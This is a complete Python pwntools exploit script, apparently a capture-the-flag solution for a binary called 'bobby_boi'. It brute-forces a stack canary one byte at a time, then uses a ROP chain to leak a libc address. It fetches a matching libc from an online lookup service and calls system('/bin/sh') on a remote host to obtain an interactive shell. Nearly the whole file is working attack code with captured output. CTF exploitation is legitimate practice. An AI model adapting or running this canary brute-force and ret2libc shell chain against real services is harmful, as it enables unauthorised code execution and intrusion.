#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./bobby_boi')
context.log_level = 'WARN'

# brute canary
'''
canary = b''
for i in range(8):
	for j in range(256):
		if args.REMOTE:
			p = remote('35.238.225.156', 1002)
		else:
			p = process(binary.path)
		p.sendlineafter('your bars?\n',str((0x38 - 0x14) + i + 1))
		payload  = (0x38 - 0x14) * b'0'
		payload += canary
		payload += chr(j).encode()
		p.sendlineafter('bars here: \n', payload)
		try:
			if b'Stack Smashing Detected' in p.recvline():
				p.close()
				continue
		except:
			canary += chr(j).encode()
			log.warn('canary: ' + canary.decode())
			p.close()
			break

sys.exit(0)
'''

# output:
'''
# time ./exploit.py REMOTE=1
[*] '/pwd/datajerk/boot2root2020/bobby_boi/bobby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] canary: -
[!] canary: -V
[!] canary: -V1
[!] canary: -V1p
[!] canary: -V1p3
[!] canary: -V1p3R
[!] canary: -V1p3R_
[!] canary: -V1p3R_$
./exploit.py REMOTE=1  1.88s user 0.44s system 1% cpu 2:48.18 total
'''

binary.symbols['vuln'] = 0x0040124a
canary = b'-V1p3R_$'
libc_index = 0

while True:
	if args.REMOTE:
		p = remote('35.238.225.156', 1002)
	else:
		p = process(binary.path)
		libc = binary.libc

	context.log_level = 'INFO'

	rop = ROP([binary])
	pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]

	# first pass, get libc
	payload  = b''
	payload += (0x38 - 0x14) * b'0'
	payload += canary
	payload += (0x38 - len(payload)) * b'A'
	payload += p64(pop_rdi)
	payload += p64(binary.got.puts)
	payload += p64(binary.plt.puts)
	payload += p64(binary.sym.vuln)

	p.sendlineafter('your bars?\n',str(len(payload)))
	p.sendlineafter('bars here: \n', payload)

	_ = p.recv(6)
	puts = u64(_ + b'\0\0')
	log.info('puts: ' + hex(puts))

	if not 'libc' in locals():
		import requests
		r = requests.post('https://libc.rip/api/find', json = {'symbols':{'puts':hex(puts)[-3:]}})
		while True:
			libc_url = r.json()[libc_index]['download_url']
			if context.arch in libc_url:
				break
			libc_index += 1
		log.info('libc_url: ' + libc_url)
		libc_file = libc_url.split('/')[-1:][0]
		if not os.path.exists(libc_file):
			log.info('getting: ' + libc_url)
			r = requests.get(libc_url, allow_redirects=True)
			open(libc_file,'wb').write(r.content)
		libc = ELF(libc_file)

	libc.address = puts - libc.sym.puts
	log.info('libc.address: ' + hex(libc.address))

	# 2nd pass, get shell
	payload  = b''
	payload += (0x38 - 0x14) * b'0'
	payload += canary
	payload += (0x38 - len(payload)) * b'A'
	payload += p64(pop_rdi + 1)
	payload += p64(pop_rdi)
	payload += p64(libc.search(b'/bin/sh').__next__())
	payload += p64(libc.sym.system)

	p.sendlineafter('your bars?\n',str(len(payload)))
	p.sendlineafter('bars here: \n', payload)

	try:
		time.sleep(1)
		p.sendline('echo shell')
		if b'shell' in p.recvline():
			p.interactive()
			break
	except:
		libc_index += 1
		p.close()
